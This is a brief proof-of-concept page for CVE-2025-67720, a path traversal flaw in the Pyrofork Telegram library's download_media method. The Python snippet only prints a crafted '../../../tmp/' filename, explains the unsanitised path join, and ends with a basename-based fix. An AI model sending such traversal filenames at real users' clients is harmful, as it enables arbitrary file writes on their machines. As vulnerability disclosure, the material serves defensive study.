CVE-2025-67720: Pyrofork download_media路径遍历漏洞

import asyncio from pyrogram import Client # 恶意文件名示例：使用路径遍历序列 # 攻击者发送的文件名：../../../tmp/pwned.txt # 这将导致文件被写入到/tmp/pwned.txt而非预期的下载目录 async def exploit_download(): """ CVE-2025-67720 PoC - Path Traversal in Pyrofork download_media This PoC demonstrates how an attacker can trigger the path traversal vulnerability by sending a message with a crafted file_name that contains path traversal sequences like '../'. """ api_id = 12345 api_hash = "your_api_hash_here" async with Client("my_account", api_id, api_hash) as client: # Simulate receiving a message with malicious filename # The actual exploitation occurs when download_media is called # without specifying a custom filename parameter # Vulnerable code path: # file_name = message.document.file_name # attacker controlled # save_path = os.path.join(download_dir, file_name) # no sanitization # Example malicious filename: malicious_filename = "../../../tmp/arbitrary_file.txt" # The download_media method will use this filename directly # resulting in file being written outside the intended directory print(f"Malicious filename: {malicious_filename}") print("This filename will be used if download_media is called without custom filename") if __name__ == "__main__": asyncio.run(exploit_download()) # Defense: Always specify a sanitized custom filename # await message.download(file_name=os.path.basename(message.document.file_name))